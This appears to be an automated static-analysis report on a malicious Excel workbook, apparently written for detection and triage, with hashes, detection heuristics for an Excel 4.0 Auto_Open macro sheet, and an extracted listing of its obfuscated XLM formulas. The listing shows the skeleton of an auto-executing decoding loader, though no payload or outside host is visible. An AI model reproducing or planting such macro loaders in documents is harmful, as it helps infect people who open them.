Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16d64e8ad5b13a06…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:57 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: f56bde2b8263ae9a2e95cef227db6795 SHA-1: cf5a6b38a394b4bb97f5a9cb628ae6353dd53874 SHA-256: 16d64e8ad5b13a069c4303485c8f77ff8ed041632153de62924ebcc544fd54c6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6870 bytes
SHA-256: b5c5cbe54e14daf0b1e5665d37a7fd1ff0a86dffd99509d92ebd76ce0a457bab
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uBVgEpcidvZ
' 0018     25 LABEL : Cell Value, String Constant - acKQxIbCIP len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E155 
' 0018     26 LABEL : Cell Value, String Constant - bjcdJzmcueS len=0 
' 0018     23 LABEL : Cell Value, String Constant - CBHvNqBp len=0 
' 0018     25 LABEL : Cell Value, String Constant - cMAnXaEzIW len=0 
' 0018     20 LABEL : Cell Value, String Constant - enqJk len=0 
' 0018     22 LABEL : Cell Value, String Constant - ivdeTqL len=0 
' 0018     22 LABEL : Cell Value, String Constant - jkhrbhE len=0 
' 0018     22 LABEL : Cell Value, String Constant - kXaOrPC len=0 
' 0018     26 LABEL : Cell Value, String Constant - LDtaegImkIw len=0 
' 0018     22 LABEL : Cell Value, String Constant - LeVNxky len=0 
' 0018     27 LABEL : Cell Value, String Constant - MxheyHIOrRWD len=0 
' 0018     25 LABEL : Cell Value, String Constant - NyWOdhrOhf len=0 
' 0018     21 LABEL : Cell Value, String Constant - RtiwOU len=0 
' 0018     25 LABEL : Cell Value, String Constant - rWerIlolSv len=0 
' 0018     21 LABEL : Cell Value, String Constant - TrxIXG len=0 
' 0018     22 LABEL : Cell Value, String Constant - UHAthxB len=0 
' 0018     27 LABEL : Cell Value, String Constant - wALzzDdVcbjd len=0 
' 0018     23 LABEL : Cell Value, String Constant - xpvduJLi len=0 
' 0018     26 LABEL : Cell Value, String Constant - YweweqgqGFt len=0 
' 0018     27 LABEL : Cell Value, String Constant - zNuWTpuCrbaM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uBVgEpcidvZ,E60,"SET.NAME("TrxIXG",0+VALUE("0"))",""
'  uBVgEpcidvZ,E65,"SET.NAME("enqJk",TrxIXG)",""
'  uBVgEpcidvZ,Q67,"",-150.00000000000000000000
'  uBVgEpcidvZ,E68,"SET.NAME("MxheyHIOrRWD",TrxIXG)",""
'  uBVgEpcidvZ,Q68,"",-590.00000000000000000000
'  uBVgEpcidvZ,Q69,"",789.00000000000000000000
'  uBVgEpcidvZ,Q70,"",7.00000000000000000000
'  uBVgEpcidvZ,Q71,"",308.00000000000000000000
'  uBVgEpcidvZ,Q72,"",739.00000000000000000000
'  uBVgEpcidvZ,E73,"SET.NAME("wALzzDdVcbjd",COUNTA(UHAthxB))",""
'  uBVgEpcidvZ,E77,"SET.NAME("RtiwOU",COUNTA(cMAnXaEzIW))",""
'  uBVgEpcidvZ,E81,[],""
'  uBVgEpcidvZ,E86,"SET.NAME("jkhrbhE","")",""
'  uBVgEpcidvZ,E89,"enqJk",""
'  uBVgEpcidvZ,E92,"SET.NAME("CBHvNqBp",HLOOKUP("*",UHAthxB,enqJk,FALSE))",""
'  uBVgEpcidvZ,E97,"ivdeTqL",""
'  uBVgEpcidvZ,E100,"SET.NAME("xpvduJLi",TrxIXG)",""
'  uBVgEpcidvZ,E105,[],""
'  uBVgEpcidvZ,E107,"xpvduJLi",""
'  uBVgEpcidvZ,E110,"acKQxIbCIP",""
'  uBVgEpcidvZ,E115,"LDtaegImkIw",""
'  uBVgEpcidvZ,E117,"LeVNxky",""
'  uBVgEpcidvZ,E119,"SET.NAME("zNuWTpuCrbaM",VALUE(HLOOKUP("*",cMAnXaEzIW,LeVNxky,FALSE)))",""
'  uBVgEpcidvZ,E121,"kXaOrPC",""
'  uBVgEpcidvZ,E126,"jkhrbhE",""
'  uBVgEpcidvZ,E131,"MxheyHIOrRWD",""
'  uBVgEpcidvZ,E133,NEXT(),""
'  uBVgEpcidvZ,E137,"bjcdJzmcueS",""
'  uBVgEpcidvZ,E141,[],""
'  uBVgEpcidvZ,E143,"rWerIlolSv",""
'  uBVgEpcidvZ,E147,NEXT(),""
'  uBVgEpcidvZ,E150,RETURN(),""
'  uBVgEpcidvZ,E178,"SET.NAME("YweweqgqGFt",E60)",""
'  uBVgEpcidvZ,E180,"UHAthxB",""
'  uBVgEpcidvZ,E183,"SET.NAME("cMAnXaEzIW",R60C15)",""
'  uBVgEpcidvZ,E186,"SET.NAME("rWerIlolSv",195)",""
'  uBVgEpcidvZ,E190,"SET.NAME("NyWOdhrOhf",5)",""
'  uBVgEpcidvZ,E194,YweweqgqGFt(),""
'  uBVgEpcidvZ,E195,HALT(),""

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